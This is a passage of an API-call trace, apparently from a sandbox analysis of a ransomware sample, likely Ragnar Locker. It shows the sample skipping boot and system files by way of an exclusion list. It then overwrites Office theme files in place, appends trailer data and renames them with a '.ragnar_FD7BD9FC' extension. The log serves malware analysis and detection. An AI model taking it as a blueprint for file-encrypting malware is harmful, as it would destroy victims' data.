ftLastWriteTime.dwLowDateTime=0x804755e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.246] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0077.246] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0077.246] lstrcpyW (in: lpString1=0x1eab72, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0077.246] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned=".GIF" [0077.246] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0077.246] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0077.246] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0077.246] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0077.246] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0077.246] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0077.246] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0077.246] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0077.246] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0077.246] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0077.246] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0077.246] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0077.246] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0077.246] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0077.246] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0077.246] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0077.246] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0077.246] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0077.246] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0077.246] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0077.246] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0077.246] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0077.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 0x20 [0077.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0077.265] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1571) returned 1 [0077.266] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x61a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.267] GetProcessHeap () returned 0x580000 [0077.268] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0077.271] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0077.297] VirtualAlloc (lpAddress=0x0, dwSize=0x623, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0077.299] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.301] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0077.306] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x623, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x623, lpOverlapped=0x0) returned 1 [0077.309] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0077.312] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x623, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.313] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x623, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x623, lpOverlapped=0x0) returned 1 [0077.318] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x623, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.318] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0077.322] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x623, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.325] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.327] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.341] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.343] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0077.344] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.347] GetProcessHeap () returned 0x580000 [0077.347] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0077.348] CloseHandle (hObject=0x100) returned 1 [0077.352] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" [0077.353] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.ragnar_FD7BD9FC" [0077.354] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0077.393] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x804755e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x804755e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0077.394] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0077.397] lstrcpyW (in: lpString1=0x1eab72, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0077.402] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\RGNR_FD7BD9FC.txt") returned=".txt" [0077.406] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0077.408] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x75da, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0077.409] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0077.412] lstrcpyW (in: lpString1=0x1eab72, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0077.413] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned=".PNG" [0077.415] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0077.416] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0077.418] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0077.419] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0077.421] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0077.422] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0077.425] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0077.427] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0077.427] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0077.429] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0077.430] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0077.431] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0077.432] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0077.433] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0077.434] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0077.436] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0077.437] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0077.437] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0077.440] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0077.443] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0077.443] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0077.444] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0077.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 0x20 [0077.467] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0077.472] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=30170) returned 1 [0077.476] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x75d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.480] GetProcessHeap () returned 0x580000 [0077.481] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0077.484] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0077.548] VirtualAlloc (lpAddress=0x0, dwSize=0x75da, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0077.548] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.548] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0077.548] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x75da, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x75da, lpOverlapped=0x0) returned 1 [0077.550] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0077.550] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x75da, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.550] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x75da, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x75da, lpOverlapped=0x0) returned 1 [0077.550] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x75da, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.550] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0077.550] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x75da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.550] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.551] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.551] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.551] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0077.551] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.551] GetProcessHeap () returned 0x580000 [0077.551] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0077.551] CloseHandle (hObject=0x100) returned 1 [0077.551] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" [0077.551] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0077.551] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0077.552] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37d2a200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37d2a200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.ELM", cAlternateFileName="")) returned 1 [0077.552] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0077.552] lstrcpyW (in: lpString1=0x1eab72, lpString2="WATERMAR.ELM" | out: lpString1="WATERMAR.ELM") returned="WATERMAR.ELM" [0077.552] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM") returned=".ELM" [0077.552] lstrcmpiW (lpString1="WATERMAR.ELM", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0077.552] lstrcmpiW (lpString1="WATERMAR.ELM", lpString2="autorun.inf") returned 1 [0077.552] lstrcmpiW (lpString1="WATERMAR.ELM", lpString2="boot.ini") returned 1 [0077.552] lstrcmpiW (lpString1="WATERMAR.ELM", lpString2="bootfont.bin") returned 1 [0077.552] lstrcmpiW (lpString1="WATERMAR.ELM", lpString2="bootsect.bak") returned 1 [0077.552] lstrcmpiW (lpString1="WATERMAR.ELM", lpString2="bootmgr") returned 1 [0077.552] lstrcmpiW (lpString1="WATERMAR.ELM", lpString2="bootmgr.efi") returned 1 [0077.552] lstrcmpiW (lpString1="WATERMAR.ELM", lpString2="bootmgfw.efi") returned 1 [0077.552] lstrcmpiW (lpString1="WATERMAR.ELM", lpString2="desktop.ini") returned 1 [0077.552] lstrcmpiW (lpString1="WATERMAR.ELM", lpString2="iconcache.db") returned 1 [0077.552] lstrcmpiW (lpString1="WATERMAR.ELM", lpString2="ntldr") returned 1 [0077.552] lstrcmpiW (lpString1="WATERMAR.ELM", lpString2="ntuser.dat") returned 1 [0077.552] lstrcmpiW (lpString1="WATERMAR.ELM", lpString2="ntuser.dat.log") returned 1 [0077.552] lstrcmpiW (lpString1="WATERMAR.ELM", lpString2="ntuser.ini") returned 1 [0077.552] lstrcmpiW (lpString1="WATERMAR.ELM", lpString2="thumbs.db") returned 1 [0077.552] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0077.552] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0077.552] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0077.552] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0077.552] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0077.552] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0077.552] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0077.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm")) returned 0x20 [0077.553] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0077.553] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=49094) returned 1 [0077.553] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xbfbd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.553] GetProcessHeap () returned 0x580000 [0077.553] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0077.553] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0077.554] VirtualAlloc (lpAddress=0x0, dwSize=0xbfc6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0077.555] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.555] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0077.555] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbfc6, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xbfc6, lpOverlapped=0x0) returned 1 [0077.557] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0077.557] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbfc6, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.557] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbfc6, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xbfc6, lpOverlapped=0x0) returned 1 [0077.557] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbfc6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.557] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0077.558] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xbfc6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.558] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.558] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.558] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.558] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0077.558] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.558] GetProcessHeap () returned 0x580000 [0077.558] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0077.558] CloseHandle (hObject=0x100) returned 1 [0077.558] lstrcpyW (in: 